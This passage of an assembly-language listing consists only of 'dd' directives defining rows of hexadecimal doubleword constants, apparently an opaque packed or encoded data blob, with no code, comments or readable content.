18984D86h, 6C3DE00Bh, 33D60004h, 166E0B0Fh, 5EB61BE9h dd 7CEBCE63h, 1318F094h, 0FBC10A77h, 875C6B7Eh, 5472854h dd 522C8BB7h, 45A03C83h, 9295B929h, 0F6738194h, 950831D5h dd 9EF1C668h, 8D40AA56h, 0F6C79BFh, 3E2DB0A4h, 6F0955D1h dd 2F07FB01h, 2D6372EAh, 0CD456CC1h, 0D8E040DDh, 68167349h dd 8A541CE9h, 0B88F2ED3h, 337AC684h, 0B4A34981h, 38923B32h dd 2785EFA7h, 5307307Ah, 0F1B02BB7h, 0FC83F805h, 88DD1CB8h dd 66D596FAh, 0FB2D2005h, 54594AF4h, 0A90FAD29h, 2B0276F9h dd 52D7C5E3h, 1084A90Bh dd 0E90A5AF4h, 40EAA2CDh, 47D42DBAh, 2F9C6AC8h, 3420295Ah dd 94BA1E90h, 0A5549737h, 0A4F73887h, 5E7D30C2h, 0C15C0555h dd 0D0CA05E5h, 2AFE292h, 0E01A61BBh, 0FC89E027h, 54770C2Ah dd 62E8DA21h, 0DBCBE841h, 8E8E2840h, 0A1609F08h, 4441858h dd 91FC7ECh, 0BBF876C2h, 14CB5C5Eh, 2D7A7F6Ah, 2D402DC0h dd 3D20BA24h, 82163502h, 0C13EE1BFh, 0BE93D85h, 21B71Ch dd 613BB53h, 16F71801h, 0F8C143DBh, 30CB3C92h, 10E908D1h dd 0D7F3C2F1h, 29705E5Ah, 0EFB85000h, 0D17665Fh, 0F51EA28h dd 9C2D4849h, 0B15A08A4h, 4EB0E32Bh, 62B76D1Dh, 0E907027Fh dd 60AC4A02h, 4EA87A0h, 7E5CF281h, 80A1C750h, 0CAC3999Fh dd 0FB90E916h, 0AC2272F5h, 0B449915Eh, 0C41C68DCh, 9CAA42FAh dd 9D40F72Bh, 4E49775Dh, 0FB0EC505h, 0A408AA68h, 24E577F2h dd 5291F29Fh, 9DFC9C58h, 0E38E6BE7h, 365F815Eh, 0F07BA697h dd 5909A910h, 7CB32C87h, 172282FCh, 0CAFA9A89h, 694EECF6h dd 0B2F3218Ch, 0A1BD0C40h, 0F5768771h, 50DA56Bh, 9B90910Fh dd 15E31B8h, 2705703Fh, 3CB6E2F3h, 0AE680952h, 69837E49h dd 0E9BB2155h, 0C429430Ah, 0A4182C3Ch, 0EEC1508Dh, 82810239h dd 13250BACh, 4947C101h, 0A1649A64h, 0B32E02B6h, 329896D0h dd 1226BE8Fh, 1286E85Fh, 4F8F985h, 6C8C0492h, 15D012Ch dd 0CFCD5EF1h, 62CC297Bh, 0D42D2EFh, 42C8B70Fh, 5BDAC89Fh dd 6DE0ED21h, 3983CD47h, 5EFF00D7h, 484BD565h, 26603EF0h dd 29E72EDh, 0F43514ECh, 1CD1861h, 6A2C885Ah, 6BD9E53Eh dd 2030B07Ah, 0C9B42B0Eh, 0A094EE00h, 4F219947h, 47238DF2h dd 0C5DD2571h, 83791C84h, 0FE7EE9EBh, 0F2C58F2Fh, 0DA6CB5F9h dd 8D8EA05h, 54C109D0h, 29013D3Ch, 27173ED1h, 0A548DBECh dd 0E5408307h, 8118EC7Ah, 61AC204h, 0E285A788h, 0B152E5A0h dd 25D3AE9Eh, 0DE963E8h, 85183C5Dh, 52AB45A6h, 501503A1h dd 6C96AB69h, 4F3CA701h, 0C1F18146h, 0B44934C0h, 3A6B2CABh dd 9CF331D0h, 0EBB0530Fh, 0E5304187h, 2F33A60Eh, 296E1A7Eh dd 8253EDAh, 0AD1F74F2h, 85AD5D8Ah, 2FF58C4Eh, 8407E32Fh dd 40AC2AE9h, 5522B800h, 26356FC0h, 47E80BD3h, 8515216h dd 823EA798h, 0F3798368h, 6FE04078h, 91D983D9h, 0BF992E26h dd 0E9A46978h, 294A89F1h, 7264F474h, 0C0682302h, 1D696982h dd 4682A3D4h, 0EE3B0E30h, 675F0982h, 7D7C57h, 96AE358Bh dd 0C1885F1Fh, 62D63D3Ah, 346807B2h, 0D8B232D3h, 43C15417h dd 8395C331h, 57CCAE37h, 478FCD05h, 38E15981h, 0FE7F882Fh dd 506655C4h, 323FD3B1h, 6C547453h, 7244B900h, 0B5F7581Dh dd 43808E3h, 0BAC849h, 7757865Fh, 91CD96E9h, 2E03037Eh dd 0C0933D6h, 82022ACFh, 7CC07849h, 47FE62C2h, 8F806FF4h dd 310DF4D2h, 685B09D8h, 6CB059BAh, 7C2C7838h, 7B002B37h dd 0F7120671h, 0CB7897D2h, 24AB16CEh, 25F99A77h, 7FABC525h dd 7A4C0E0Dh, 0DB256CCAh, 0EE2CD6C0h, 27D0282Ch, 49281013h dd 787C2768h, 0B8090566h, 77454717h, 79D11400h, 0F6EC07E4h dd 44119301h, 9114E905h, 0C5A4BA2Ch, 0B909C815h, 177E259h dd 0F78101C7h, 8CC48748h, 3E9CBF31h, 5218D125h, 0A8314B29h dd 0DA267B7Eh, 1FA4EEA8h, 0CCA8101h, 80CE2275h, 0EB273F8Dh dd 26B904Dh, 0BCA32DA1h, 6540D501h, 118AB8DFh, 0C26C04CBh dd 9AB51A5Dh, 289042E5h, 0F7557810h, 0E10178C3h, 0F651692h dd 5C40A32h, 1E29BB02h, 6485057Ch, 0B2AA3569h, 7CE9C22Fh dd 9735E496h, 312AD852h, 0F20BF6Ch, 0B5390B9h, 0ED46458h dd 15308F2Ch, 3C271107h, 94D4E953h, 5B212CEAh, 0A09566B5h dd 4EF6E948h, 0BAF6752Fh, 0BA73D02Ch, 8F5B5EE1h, 685C05BFh dd 68BC3E43h, 171F14C0h, 0F8280533h, 483CBF78h, 681DA5E9h dd 81C782FEh, 38B7D29h, 0AC8799Bh, 0B2B9B501h, 865F0D90h dd 801F630h, 8110AF45h, 36E841CDh, 0F4681212h, 8E80600Fh dd 0E7A1792Bh, 3F5D30C5h, 0F5291F1Eh, 7F08ED14h, 8ABCE91Ah dd 63D0D48Ch, 0ACECF65Ch, 3CE4C491h, 19A54089h, 49473DDCh dd 0F72E42CDh, 68D5F1Ah, 0FB9B208h, 639B2F4Eh, 8705C1E9h dd 464CEE1h, 7D05B6BEh, 16D1D4E0h, 0D957Ch, 37CACE7Fh dd 0CC21801h, 763D80h, 0E46CFEEEh, 1163EB5Dh, 0A75AC821h dd 1C878838h, 6385AFE9h, 0C45EAF05h, 66EDDE89h, 7DA5173Dh dd 0F8A3A1CAh, 0E64ED63Ch, 9DDA64C6h, 0FBDAB893h, 4259BA57h dd 0D5637h, 0A0685657h, 0C0BFE616h, 9A1FDC25h, 8E42863h dd 98A09717h, 5D72A7BBh, 74152248h, 0DDA28D18h, 97A075Ch dd 0DF012349h, 2508FE08h, 0BF41F905h, 2DAF4E74h, 4E6D3C9Ah dd 205D3649h, 678859B8h, 92669628h, 0BFC3E006h, 5011E418h dd 960E922Ch, 81FD93DBh, 0C8C53130h, 6B2D68E8h, 0B1FEE632h dd 9FCC2051h, 1E9717B0h, 0F01144BDh, 0BBAF543Fh, 575913CFh dd 0E26915Bh, 36154804h, 6B39D5Ah, 4E406809h, 88D47F9h dd 2120D1D4h, 6E30003Dh, 6E6C14Bh, 0B8B0EED1h, 6D2F5096h dd 725C99B2h, 0DA8E3AEBh, 0CBC85D2Dh, 0C32F61EBh, 8B141051h dd 63E4B50Bh, 6F299481h, 0B66049D8h, 0AEBD2A29h, 9A491C3h dd 6FD41D9Eh, 6C8BEED9h, 177C0217h, 192458C7h, 417577E4h dd 5F154787h, 0C3999DDh, 5ACAD8E0h, 0BD6383B1h, 40299990h dd 1CEF5F8h, 0D159DA5Bh, 512BE9EDh, 7F0768ADh, 0F4F917D3h dd 6427A8F6h, 0BB31C805h, 0CBAFF41h, 7A9D6FA3h, 7C058BD7h dd 0C6C5AB00h, 0C17CC7CBh, 0AE9F8095h, 0C178B55Dh, 1247AC0Ch dd 2EDD21BDh, 46A7AA5h, 5B97941h, 27BA5153h, 94A3C4BDh dd 6600DC49h, 10883152h, 0AD1786EDh, 0C832002Dh, 63E20522h dd 5233FB18h, 51B5BAEh, 0FA89089Eh, 9D48825Fh, 6853E00Fh dd 0F25AFBh, 0D3F75B66h, 0D409F381h, 0E976707Ch, 7B8C0B9Dh dd 0AC332657h, 0FA720AE6h, 724BCB96h, 6B2570E9h, 55056CD2h dd 315F46E9h, 6CE4FD1Ch, 138B5F22h, 5EABCA4Bh, 814816B3h dd 75505B00h, 52F50134h, 0D2D7E919h, 0D7443287h, 0F5A8895Ah dd 4E200FB4h, 0D30124E0h, 0F8FA223Bh, 813FC045h, 1C1077CBh dd 582858h, 30BF2D36h, 0CBCD44E9h, 0B29A3CBDh, 0C2D9A2CAh dd 0C648F4EBh, 449F6513h, 1E4A20C1h, 101CBB2Fh, 181D8100h dd 0E511F24h, 0EC01295Fh, 8BA0B908h, 0E9E10E5Ch, 9CCBB1C4h dd 6D2287E0h, 8C843FBDh, 3A13B33Ch, 55C5DCC2h, 398A7FC7h dd 0E821BBD8h, 0F8A5C9A5h, 2A4B252Ch, 80C31CF6h, 0C34F2733h dd 0C65181EAh, 0EFE95540h, 8B0894DBh, 0AF785DEAh, 1F7B2320h dd 0A8013FC3h, 3C1BDECFh, 5A259345h, 0DFD0D91Ch, 0B7C45629h dd 0D777D26Eh, 0B80C5FC4h, 0C35B037h, 9BAF17B3h, 0CCEF88Bh dd 97246851h, 123B5EE9h, 0CE1EFB43h, 36510A13h, 592DF61h dd 288092E0h, 0F3870FE1h, 258AF1D8h, 9A2CF20h, 0CE90B8EBh dd 2B245EE0h, 0C11C9F70h, 78016BE4h, 29549F7Ah, 5F5EBF8Dh dd 0E90C01A6h, 5EFF3C94h, 442F4E29h, 0A823E9A8h, 0B4B013D1h dd 0F6C5E4E0h, 0F72EBD41h, 0AD9E7AC4h, 55E40570h, 96FC1DB9h dd 74AF3704h, 7292EA23h, 2FF476C6h, 0D95BEF7Ah, 68030FB3h dd 458F6921h, 93EFA802h, 0FE185A09h, 0E3C10C4Fh, 1DBC0134h dd 146BB903h, 0C788683h, 1C7640C2h, 28396E0Ch, 0D98716E8h dd 40FACFF0h, 1CFEADC8h, 5DEF352h, 3088091Eh, 49199700h dd 1331AC73h, 0E86DE9F7h dd 0AECB5B6Fh, 164A7Fh, 647FBF4Fh, 4EC069DFh, 687532F4h dd 0B4194FE9h, 8A91C281h, 9E5A10DBh, 0C1844FA4h, 680916BDh dd 0EFCD7E2Fh, 0DD446809h, 38D66422h, 1E6083F6h, 0FA0AF73Ah dd 0A63CED8Ah, 0DA5F0F92h, 3B161566h, 7CC3F67Dh, 896B35B8h dd 16202D43h, 125179D9h, 0EF803970h, 5031803h, 3C47B1C4h dd 4B307D4h, 0C229A776h, 8E1C8858h, 520A379Ah, 0BEB582B2h dd 0D49108h, 0C04BC280h, 25F606EAh, 301693FFh, 27B16223h dd 7EEFBA8Bh, 0A1E52Fh, 1A0ABB53h, 37B07BF5h, 580D0E69h dd 7944A279h, 8479AD65h, 2C1DE8CFh, 0C3819C82h, 4DD75D3Bh dd 7AB2EEB0h, 4920AE26h, 72A55B0Bh, 0A4660902h, 0E1F60174h dd 0E8B4123Fh, 0AEC5F0B8h, 311D91B0h, 0E38970EBh, 0BD20270Bh dd 0D8DC8474h, 538062FEh, 0BA773FC0h, 557C5981h, 12DF0F84h dd 5F5DD109h, 0AD1A8D02h, 0E4E04D2h, 5A8405CCh, 3DC6E3D9h dd 0E0E23990h, 0A025C1B9h, 0A6C05A86h, 0FCE91296h, 16F28BEh dd 24B0F94Ch, 0DEA5A226h, 58C1C2ADh, 4CAFCD59h, 9F0A35B8h dd 686E20CBh, 0D890158Bh, 3A5AA389h, 0EE864BF6h, 0C7018FF6h dd 0CC96096Fh, 55F5DF31h, 301D377Ch, 0FE60CDC3h, 0D4A03B67h dd 49D02EAh, 0D389B60Bh, 15A8FAF9h, 632D1CE8h, 47F5A40h dd 0AA6BADEBh, 971E8061h, 0E85B8264h, 5306B97h, 783B4844h dd 54552C42h, 14755A5Eh, 0F7555E40h, 78AF40E2h, 3D33753h dd 885325B5h, 5BDA90EBh, 0E2D02859h, 305C3A91h, 3610A252h dd 2BC58E3h, 16357E53h, 2F27647h, 3CE56730h, 21D69180h dd 90B845CEh, 11E92Fh, 772BBA5Fh, 0B0715EC6h, 0DD4EF723h dd 97FC39A0h, 5FC16D92h, 3B8C2EC4h, 1C3E4C12h, 0D0F758C0h dd 59765051h, 620E9E8h, 0D35C189Ah, 81D13224h, 2B71092h dd 29FE91FFh, 755F5EEEh, 7DF04614h, 54D8ED02h, 725A1A2Dh dd 0BCF8203Bh, 59FE3CA3h, 1B27457Ch, 65FA5E40h, 2A45F137h dd 582150E0h, 0C51F23FDh, 807D5753h, 0E23D1FA2h, 20C596Eh dd 751BCA04h, 0D00156C0h, 8899E91Bh, 6835C044h, 56122654h dd 0D189A76Bh, 0F28169D4h, 782576Ah, 7FAA3120h, 0C9604C7Eh dd 0C9F35905h, 2D80B005h, 0AC1A8F3Eh, 13120B27h, 537ABCCDh dd 443E1D42h, 0BB22B05Eh, 900DE886h, 5DFBCCD8h, 9A4BE4FCh dd 0CE7F4E47h, 0FC89D9B2h, 0B6D85A6Fh, 0DB21215Fh, 0DA3B6366h dd 0C8331E5h, 0E2FF0E9h, 1422BE98h, 6057092Ah, 90EBD161h dd 21A102F5h, 0C3010E30h, 50CC945Fh, 2568BC89h, 90987392h dd 301343BFh, 21E00906h, 305E5D2h, 9119C862h, 7E1DEC85h dd 813FAF41h, 2DCE3C13h, 0C1A2D30Fh, 0A1BD55C0h, 635A9C4Eh dd 87E975C0h, 3B85DE1Fh, 0F890D496h, 0F5F3D354h, 0A077FFC7h dd 65685052h, 6D754E12h, 0B4825F05h, 0EFA020BBh, 7C4C1EF8h dd 0B844FE9h, 0B35E43CBh, 90E9090Dh, 8E55303Bh, 1964BF02h dd 6B495C4Bh, 0A4497659h, 0A28C1278h, 0C0E310F7h, 0C39BE04Bh dd 4471FE0Fh, 0B2D0A461h, 836FB7B5h, 0C8FAE602h, 2A047AE1h dd 959F2BA3h, 204EC224h, 3D101C9h, 0C8F66E7h, 8E54575Ah dd 0B1F7404Bh, 0C180EF1Dh, 0AFF4C8AFh, 0AD16FF6h, 28BC2C80h dd 5EB251C8h, 51BC1A4Bh, 1532E0D5h, 5555812h, 0DF01FDD6h dd 2CA71B51h, 222B9D0h, 0E91AB437h, 4FF9F874h, 55ACBA0h dd 0CCE337F5h, 55A2B9E9h, 89C41855h, 609391FDh, 0D8224C2Dh dd 0E8017918h, 325DF030h, 39CC4F73h, 847999FDh, 7BE7864h dd 799A3848h, 3E2A03B8h, 8EDAC2CDh, 0F5016BFAh, 2908BC6Ah dd 59D0244Ch, 0BF882CE9h, 533351A5h, 3D05DEFAh, 28996852h dd 94FFDFDh, 4B8288B5h, 5304D738h, 3DB0C380h, 1C3C4C10h dd 820DB234h, 0A05719E2h, 0C283083Fh, 45EB95FFh, 0D132B9C8h dd 0E421630h, 175B3CE6h, 2DD031A0h, 4EDF38AAh, 688E5ECBh dd 0F73218A9h, 8DECA55h, 14286A8h, 15E9027Ch, 0E45B735Ch dd 44775C22h, 6C7C0002h, 5D055E2Eh, 165CD065h, 8FE912ADh dd 96358D40h, 5A58CAD4h, 5FB5C750h, 0AB2CFDE5h, 0CA3A9C29h dd 405050CEh, 2E20BDD2h, 0AB5E0668h, 14D8C167h, 5B24CA3Fh dd 1BBFBA24h, 5D825390h, 0AB0C55F0h, 0C121F44h, 0D6600F4Fh dd 1097292Eh, 7B580830h, 3AD4EB45h, 3975927Eh, 5EB1F309h dd 2BA3DE9Eh, 0EAEC90DDh, 0D79297B3h, 0D32C2ADFh, 2707A528h dd 5105FB3Bh, 176710ACh, 0B4DAE69h, 0F809FF45h, 3B384ED4h dd 70FBFE4Ch, 89A838A0h, 0D6B00AB6h, 68881D4Fh, 0E4513825h dd 7D4DA6Fh, 4F268758h, 0A0864FCBh, 667C3420h, 0C0C5CB73h dd 47902B95h, 1D2705D0h, 4155BF07h, 37A96436h, 8ECB2A5Ah dd 0ECB81F16h, 72BAC0FEh, 0FD0B1B5Fh, 406BC7E9h, 62F75ADh dd 0C1BD3158h, 46425AC7h, 16085668h, 0C9301D0Fh, 88461E07h dd 0A07D832Fh, 4D33D198h, 2F38B01Dh, 493ADA52h, 12F5513Ah dd 4FE6C48Bh, 9357AD53h, 0BEB28D8h, 5A8B5DDAh, 0D524D6F8h dd 6885E699h, 83C87121h, 5246B413h, 8706F1F0h, 130BB67h dd 0A444F87Bh, 325E4C0Ch, 6435E513h, 0A821C459h, 8CF3F7EEh dd 5A0A241Ah, 0C25345BCh, 0AD488DA9h, 0B9276425h, 250E5C74h dd 218B335Eh, 500474F1h, 0BF807F0Eh, 0CE750950h, 3875318Ah dd 262ED02h, 0E97B6E08h, 50D1CDF1h, 110D133Ch, 0ADC49ABCh dd 6C39EAB0h, 827445F9h, 6F681358h, 1A30AE17h, 24F330C8h dd 2D395A0Bh, 0E917B2C6h, 55F22FA5h, 0F29FD585h, 844594ECh dd 0CEEB883Fh, 388441DDh, 685705DBh, 4A9A1F95h, 41109E4Ch dd 715E25A9h, 8360B21Fh, 855B6603h, 0D16AC5F5h, 2603B347h dd 9C455B03h, 1D922959h, 0A01FFA97h, 82D9AC2Ch, 3ECC825Dh dd 4158DEE1h, 0E9366205h, 3A15351Ch, 0DA1723A6h, 0B4C0F805h dd 0F23099BBh, 531A7509h, 0AE24930Ch, 0E495303Ah, 0AC25AC0Ch dd 747A04CEh, 2B814A0h, 68011BE2h, 5E231E73h, 0DF1C562Fh dd 2FAB65B7h, 6885ECCAh, 3FFEA40Ch, 50978592h, 0A2FAE60Dh dd 0BE645FBCh, 2D7BFD45h, 7AF23E26h, 0FF4125DEh, 0CB06BBAh dd 1629FE0h, 2F044561h, 9D844CD8h, 72C21DA7h, 50548F7Bh dd 32508FB8h, 292A6919h, 9AA35B98h, 464069CAh, 2099194Fh dd 0B174FE25h, 2108272h, 4480F545h, 3431633h, 0D190C176h dd 7A6E549h, 300CC8FEh, 7F05194h, 91EE5E04h, 7C08B62Dh dd 9B9D1B1h, 9A5E9768h, 0ECB34095h, 1C049D79h, 0C1D8C059h dd 693B63FEh, 76C90261h, 751D492Dh, 0DBF14EA0h, 74FF6BFh dd 0D9032616h, 0FA3F67D2h, 99C38058h, 4E13F739h, 0A334E029h dd 0F22D2EB6h, 53E15FCBh, 0BBC685F5h, 90D51867h, 257B57B7h dd 0AE6EC474h, 9CFDCF4Eh, 21A8E982h, 0D3C0114Ah, 0C0305B96h dd 767AB40Ah, 0DE33608Dh, 2E0F41DAh, 59CD8912h, 480627C6h dd 0C6006F05h, 1D60BB7h, 182CE9C5h, 886355F7h, 5BD891F3h dd 22D8043Ah, 0BF6802DEh, 0B7C8D13Ch, 4C880C0Fh, 6E464714h dd 60632A1h, 40DE0B08h, 42CA0102h, 3B825CDDh, 3897FBBEh dd 5B58F9F4h, 7414746h, 4C884952h, 96CB2517h, 0F50B4A35h dd 50F29613h, 247D0564h, 0AB012228h, 4008E610h, 2BF99CC8h dd 0E0ABFF41h, 162ED63Bh, 0A5B3FCABh, 680B73E2h, 0E4F96A6Eh dd 0C34EAC97h, 0C47AC557h, 0B1816A4h, 2937174Eh, 8C8622Ah dd 8101D707h, 487723CFh, 0F75270h, 0DB27EC7h, 0BE5FF889h dd 6B095000h, 0E9C601D4h, 0E3AA58CEh, 0B2600E81h, 0A31A302Fh dd 8B78A616h, 0A7109FA9h dd 0D6F700A4h, 0D8F68146h, 76383F47h, 8A45362Ch, 964D5Dh dd 0C0E58106h, 83FD6761h, 0A038255Ah, 88EEE016h, 0EA4B0BF7h dd 0DAC5F531h, 69188912h, 3561DA28h, 10A811A8h, 0E90A087Ah dd 8BCCDF09h, 504005E2h, 3B18EAC2h, 0A8706C8Dh, 6573F2E7h dd 0B4F7BF29h, 378EF45h, 59B9B854h, 5CA8554Eh, 0AE49B784h dd 42CCF892h, 19A4581Fh, 3C5BDF87h, 0E2AF4008h, 2D48665Dh dd 5C6A0503h, 0B5004AF3h, 78E9BC6Bh, 40540B05h, 0C4842AD8h dd 266614BBh, 0B1AB229Ch, 40DF4225h, 4864E90Bh, 0CAA3C1A4h dd 0A28EECF5h, 69D0565Ch, 0A7517FDCh, 98310920h, 7E4B023Eh dd 0D1213DD5h, 5107C900h, 0F4E7671h, 5014C3E1h, 0C42618D9h dd 9A90741Fh, 5F362309h, 16B07975h, 84CEE902h, 0A110C98Bh dd 36C25F25h, 84B0ED7Dh, 0AB387768h, 0CB95D732h, 49AEF537h dd 0FCA094DDh, 8066B753h, 927EE739h, 9EF851EFh, 0FA2BF71Eh dd 58E97DFFh, 89A2B012h, 0D8120105h, 0DE6A61FEh, 0A560335h dd 0CE7DCD30h, 409F16BAh, 3ABF57DBh, 644B743Dh, 3324ACA9h dd 9051A5A9h, 772AFBA4h, 2F1DECB5h, 26797A95h, 2EC2BE81h dd 4AF84C94h, 26F092EAh, 6F624F0Bh, 0E98B0108h, 7DDE2A42h dd 0DF604B02h, 0C17B4037h, 25AC2822h, 1A190EE5h, 0E9C246B8h dd 9672B1CFh, 9A30F20Fh, 0D3DF6E41h, 0F29E4DB2h, 46D988E8h dd 93A05A97h, 281D1604h, 61683D8h, 1B92575Eh, 0F65A6289h dd 49FA3F19h, 0E325BC93h, 600F0378h, 0DD6F9C33h, 3FE579D9h dd 0F886A09h, 0FCE64AE3h, 0CF40B4D0h, 2896664h, 775931E9h dd 71A9847h, 0D0D0F1A5h, 6FF6D786h, 196508D2h, 4AE8E393h dd 32B34DFCh, 165C4F3Bh, 0EABD30F4h, 9311B296h, 4A6861FBh dd 0D8302531h, 179CA2EBh, 0C0CA204Bh, 0BD03AB52h, 0E985944Fh dd 0B64F782Dh, 0C0B5A37Ah, 12ECEFE8h, 0E0D0015Dh, 0C188C634h dd 1C086858h, 9FC95C9h, 0C1D5E96Ah, 77FA016Bh, 0C254A727h dd 147F9F27h, 0D6D6F887h, 5026BCF7h, 6B007277h, 0AFBA68A0h dd 0B6B29C95h, 8EA82C6h, 0AF56C8E9h, 0D9A38F17h, 0E6E25B73h dd 0CFA248Fh, 7C02EA0Bh, 0D048C547h, 6B5E680Ah, 5A087113h dd 96697FE0h, 0C8D4252Eh, 15E91656h, 4F08C03h, 0FC27EDB6h dd 55F07AFCh, 0B7971320h, 4A7DC0E2h, 563B8364h, 0C24102D1h dd 0F42E8BB2h, 52A5E27Dh, 2C61349Ah, 0AE1984DDh, 0B679FC98h dd 17C89216h, 2DF1E2C5h, 68A98362h, 622F96F2h, 32013B69h dd 746B06D1h, 0AC1A503Eh, 7A8018B5h, 6F6497BDh, 0E879CD1h dd 0BB3F580h, 2DB754E8h, 0E2A56DD3h, 0B05984F8h, 0F34BCCF8h dd 0BAB5408Fh, 7F12C502h, 7DE2FEE9h, 14986E6Eh, 822DDE5Ch dd 61612F37h, 0AD97868Dh, 10E3BDFEh, 8101758Ah, 0FD150FF3h dd 2EC6EC31h, 4F79669Dh, 0ACF61265h, 396E8C34h, 5BD92730h dd 0F9FCC158h, 168741B7h, 935C664h, 45033242h, 0BF0117E5h dd 0DA906F93h, 815F957Eh, 2AFC75Eh, 0CF9C4059h, 26FA7B88h dd 4082A475h, 23084351h, 5BDE291Dh, 0C846ACFFh, 8539BCAFh dd 8B842941h, 0E1B05FFDh, 84FE8C1h, 407CB7A0h, 0D825E90Eh dd 0EF8CDC97h, 0E298E565h, 0E959076h, 52F6D488h, 53AD22BBh dd 6DBD8A41h, 0E08983DFh, 0AB1C1051h, 0C6FE01E1h, 8002E6C0h dd 0B6D0CBD7h, 6E2600Ah, 5AF13078h, 2898E1FCh, 0C9138B34h dd 0D2219704h, 3C192DBEh, 0D99D4BFCh, 0DE982A54h, 0E9F112F7h dd 0BBBAC05Bh, 3E20214h, 1485294Bh, 2D4C2CFBh, 0B42788A6h dd 0AD4E659Bh, 5CADC0F9h, 8F77C25Bh, 2552377h, 0DC85C956h dd 1F989C74h, 527B3925h, 3035C37h, 27EB80E3h, 58300601h dd 60DB6866h, 5107402Bh, 0ECB6A2B5h, 5BEE8026h, 0F17D1E0Bh dd 0A012922Ch, 22B65AECh, 1A9AEC2h, 6859C868h, 0E8CEC4BFh dd 96C1570Fh, 0EF3EB418h, 0C6571EF2h, 904B4F01h, 109DC193h dd 973C973Dh, 24E68FB8h, 62D3591Dh, 5973C82Dh, 5FFB40FCh dd 0F16DB09h, 0ED558A85h, 91522815h, 4BBA220h, 6802C783h dd 6C5CC8F5h, 511AED6Bh, 0E1F740DFh, 0B4AAA68h, 0C5C5DBFDh dd 0A756AC25h, 7EF8BDC2h, 52135470h, 5FBB42B6h, 0E93B42B5h dd 4F002F1Dh, 0F607F781h, 294A318Fh, 82D301D8h, 5535B04Eh dd 94E6073h, 0C5259FF4h, 3D59A5B9h, 0FFD55EE9h, 9881AFD5h dd 8703E3F2h, 4A64BBC4h, 0E9822BACh, 0E9A2B2ADh, 37713706h dd 0B742A780h, 9ABFE92Eh, 0EC66B178h, 5AD38131h, 8AAF17D4h dd 26224C73h, 0D95304B9h, 2328D870h, 1662D393h, 6AC8AFBCh dd 72C22E68h, 0DB006966h, 0E975E08h, 1E88316h, 160A37C5h dd 83A027FEh, 518F8527h, 0D801C0A1h, 32E9E957h, 94C1015Bh dd 313D87E6h, 933A4E7Bh, 218EE2C0h, 50C85AD0h, 9C2501BBh dd 0AF49D97Ch, 20C2F07Dh, 524ED40Ah, 27DF0CB3h, 0A95D72E2h dd 0F4C20B6Dh, 39E9582Ah, 8DCD9554h, 750B4295h, 6CAD436Dh dd 0ED6924AEh, 1468509Ah, 0A7214A65h, 2C2F4FF5h, 0CD72878Eh dd 0D7F7F91Bh, 0E9101C08h, 76F9AF5Ch, 595A47A0h, 5E108FF6h dd 0BE5613A2h, 472022BFh, 42BFF4F0h, 964140E9h, 50E53980h dd 0E65CD96h, 0E61FECFAh, 0BDB6202Ch, 68D09144h, 9C4C18E6h dd 128AEAD7h, 0EE491CB4h, 79ED2D40h, 0A06DC638h, 303C44A9h dd 730C7A11h, 0D1A0513Bh, 0E42CE9DDh, 9A40FD9Eh, 9D4F5B20h dd 0ACB00D78h, 93278A97h, 827F3358h, 0F45F02DFh, 8257091Ch dd 4BDF5E4h, 0AFDEEB58h, 20D3D45Ah, 0FA98E9E0h, 46F5D1C7h dd 765962B7h, 0D9052797h, 68A8F105h, 987A269h, 55238A62h dd 2BFAE95Eh, 9524665Dh, 145B02EEh, 99128EA3h, 0D64FF89Dh dd 0D8475ACh, 0C5310471h, 68A0D9B8h, 99BD6174h, 394FF50h dd 404EC829h, 7EB6C58Ah, 6B40EF5h, 0BD685107h, 0B7349869h dd 0D7F6317Fh, 3E92E904h, 0CAFDF312h, 1A54BB80h, 8B904681h dd 54E78997h, 0BC9CD823h, 5F205E81h, 0B4B6F247h, 95B9016Ch dd 3E14A30Dh, 42C37E0h, 929A255h, 0B223AEC1h, 3DF3C4ADh dd 0ACD5BC79h, 0FC030842h, 24ECB20h, 0D285A3B2h, 6BA2443Ch dd 9820EE70h, 0AA224268h, 25844E54h, 0FDF92DA7h, 4669572Eh dd 0EBC112F7h, 0EC340108h, 8260CA7Fh, 0AB23110Ch, 93E7007Ch dd 0E92D883Ch, 76D68E75h, 192CD600h, 2E282D34h, 3C0D58C3h dd 126F0666h, 6AEEFF1h, 0AA5760F7h, 21700DB8h, 0D7A15AB0h dd 877E30C6h, 4A8F9EB5h, 0F613B85Dh, 4CD90218h, 0CD013076h dd 80BD642h, 0BEE92368h, 8402BA5Dh, 0A7A41158h, 786F69C7h dd 0C925B066h, 6441F627h, 8722C4B6h, 55EC3FE1h, 0F1E07D0Ch dd 0DF6010DDh, 66948016h, 7E1C05Ah, 0BC70F1FCh, 605C91A2h dd 9A0F7F69h, 0FEFFEFE0h, 0E93D50C7h, 122E59EDh, 9F0B02C5h dd 0F3CB448Fh, 614DF483h, 30107A09h, 0DE62B047h, 102D5E1h dd 18BCCC7h, 0CC5E90B8h, 2CB2E91Dh, 0FA052F8Fh, 6546F4A4h dd 0C25B14C3h, 20B7F01h, 60911C18h, 0B7FA01A6h, 215243C4h dd 0B2E2299h, 0FC888FB7h, 802A7F16h, 3040FCF4h, 0DFE92727h dd 76EC07D2h, 43FA159h, 69C24CB4h, 1EBD4798h, 0C5C775F3h dd 0A7BC3FE9h, 4E5C321Ah, 0C92904F7h, 2CC6E921h, 14E75CC7h dd 1C69C34Ch, 2F560626h, 0E7003A1Eh, 508E726Bh, 0D1BD0755h dd 0C131CF29h, 0D81704CDh, 9B984D12h, 0EA467E09h, 8C388A39h dd 66B68F39h, 3B009215h, 0EE7880A2h, 86325DE9h, 3502F549h dd 4CB20A8Ch, 0A8F91DE3h, 0CBE82C0Bh, 0AC83402Ah, 62B10E51h dd 0F443E186h, 861D6F6h dd 8E40E910h, 3618892Ah, 3C135BDEh, 21FEFF12h, 52B320D3h dd 0A7FAD687h, 57D57D2Eh, 204ECC6Bh, 0C4A18F4Bh, 0CB42FAAh dd 3175CF5Eh, 1B770917h, 0D1F24BDCh, 5408CCA4h, 0B55896BDh dd 77BE0D30h, 3360089Ch, 0A16C2928h, 86F8CDD8h, 9D0CC072h dd 0C171E449h, 8C07E724h, 5C337E10h, 6DCA8764h, 618934C9h dd 73C38EDh, 6F617D97h, 9FE71F2h, 73F32200h, 0E13D170h dd 7BBD3F7h, 0CB32C241h, 1409D0F0h, 8F496759h, 8804500Bh dd 0C1FE58E6h, 7E969251h, 15092A30h, 7AF4E701h, 491ADD76h dd 0B2E56DA0h, 0FA3ED625h, 50C8E56h, 847D47BAh, 85ACED9Dh dd 0FDC9E0E9h, 0ADE9B39Dh, 686627D0h, 9E6E7460h, 5C604953h dd 6903E3B8h, 3F35708Ah, 